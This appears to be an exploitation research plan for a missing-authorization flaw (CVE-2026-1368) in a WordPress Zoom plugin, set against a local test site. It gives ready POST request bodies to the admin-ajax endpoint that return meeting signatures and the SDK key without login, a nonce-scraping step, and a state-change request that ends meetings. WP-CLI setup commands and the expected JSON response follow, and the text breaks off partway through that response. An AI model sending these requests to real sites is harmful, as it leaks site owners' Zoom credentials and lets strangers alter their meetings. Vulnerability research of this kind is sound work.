Exploitation Research Plan: CVE-2026-1368 (Video Conferencing with Zoom < 4.6.6)

1. Vulnerability Summary

The Video Conferencing with Zoom plugin for WordPress is vulnerable to Missing Authorization in its AJAX handlers. Specifically, the function get_auth in includes/admin/class-zvc-admin-ajax.php is registered with the wp_ajax_nopriv_ hook, making it accessible to unauthenticated users.

Crucially, the code contains a commented-out nonce check, meaning the function performs no authorization or CSRF validation. This allows an unauthenticated attacker to generate valid Zoom Web SDK signatures for any meeting ID and retrieve the site's Zoom SDK Key. Additionally, the state_change function is also exposed via nopriv, potentially allowing attackers to modify meeting states if a nonce can be obtained.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• Action: get_auth (and secondary state_change)
• HTTP Method: POST
• Authentication: None (Unauthenticated)
• Vulnerable Parameter: meeting_id (for get_auth), id and state (for state_change)
• Preconditions:
  • The Zoom SDK must be configured/enabled in the plugin settings (specifically vczapi_sdk_key and vczapi_sdk_secret_key must be set).

3. Code Flow

1. Entry Point: The plugin registers AJAX hooks in Zoom_Video_Conferencing_Admin_Ajax::__construct() (Line 19):

   add_action( 'wp_ajax_nopriv_get_auth', array( $this, 'get_auth' ) );
   

2. Vulnerable Sink: The get_auth() function (Lines 159-172) is executed:

   public function get_auth() {
       // check_ajax_referer( '_nonce_zvc_security', 'noncce' ); // <--- NONCE CHECK COMMENTED OUT
       $meeting_id = filter_input( INPUT_POST, 'meeting_id' );
       if ( vczapi_is_sdk_enabled() ) {
           $sdk_key    = get_option( 'vczapi_sdk_key' );
           $secret_key = get_option( 'vczapi_sdk_secret_key' );
           $signature  = $this->generate_sdk_signature( $sdk_key, $secret_key, $meeting_id, 0 );
           wp_send_json_success( [ 'sig' => $signature, 'key' => $sdk_key, 'type' => 'sdk' ] );
       }
   

3. Execution: The plugin fetches the sensitive vczapi_sdk_secret_key from the database to sign a JWT, and returns the signature (sig) and the vczapi_sdk_key to the unauthenticated requester.

4. Nonce Acquisition Strategy

Primary Target: get_auth

No nonce is required. The source code explicitly shows the check_ajax_referer call is commented out:
// check_ajax_referer( '_nonce_zvc_security', 'noncce' );

Secondary Target: state_change

The state_change function is also nopriv but checks a nonce:
check_ajax_referer( '_nonce_zvc_security', 'accss' );

To obtain _nonce_zvc_security:

1. Shortcode: The plugin likely enqueues this nonce on pages using the [zoom_join_via_browser] (inferred) shortcode or on single meeting posts.
2. Strategy:
   • Create a Zoom Meeting post or a page with the join shortcode.
   • Navigate to the page.
   • Use browser_eval to find the nonce in the localized script object. Based on common plugin patterns, it is likely under a global object like vczapi_ajax.
   • JS Check: browser_eval("window.vczapi_ajax?.loading_nonce") (inferred) or check the source for _nonce_zvc_security.

5. Exploitation Strategy

Request 1: Generate Meeting Signature (Unauthenticated)

• URL: http://localhost:8080/wp-admin/admin-ajax.php
• Method: POST
• Headers: Content-Type: application/x-www-form-urlencoded
• Body:

  action=get_auth&meeting_id=888999111
  

• Goal: Retrieve the sig (JWT) and key (SDK Key).

Request 2: Change Meeting State (Unauthenticated - if Nonce is Found)

• URL: http://localhost:8080/wp-admin/admin-ajax.php
• Method: POST
• Body:

  action=state_change&accss=[EXTRACTED_NONCE]&id=[MEETING_ID]&state=ended&type=meeting
  

• Goal: Unauthorized modification of meeting lifecycle.

6. Test Data Setup

1. Configure Zoom SDK: Use WP-CLI to simulate a configured environment:

   wp option update vczapi_sdk_key "AKIA-FAKE-SDK-KEY"
   wp option update vczapi_sdk_secret_key "FAKE-SECRET-KEY-SDFGHSDFGHSDFGH"
   # vczapi_is_sdk_enabled() likely checks for these or a specific toggle:
   wp option update vczapi_sdk_enabled 1 
   

2. Create a Meeting:

   wp post create --post_type=zoom-meetings --post_title="Target Meeting" --post_status=publish
   

7. Expected Results

• The response to get_auth should be a 200 OK JSON object:

  {
    "success": true,
    "data": {
      "sig": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...",
      "key": "AKIA-FAKE-SDK-KEY",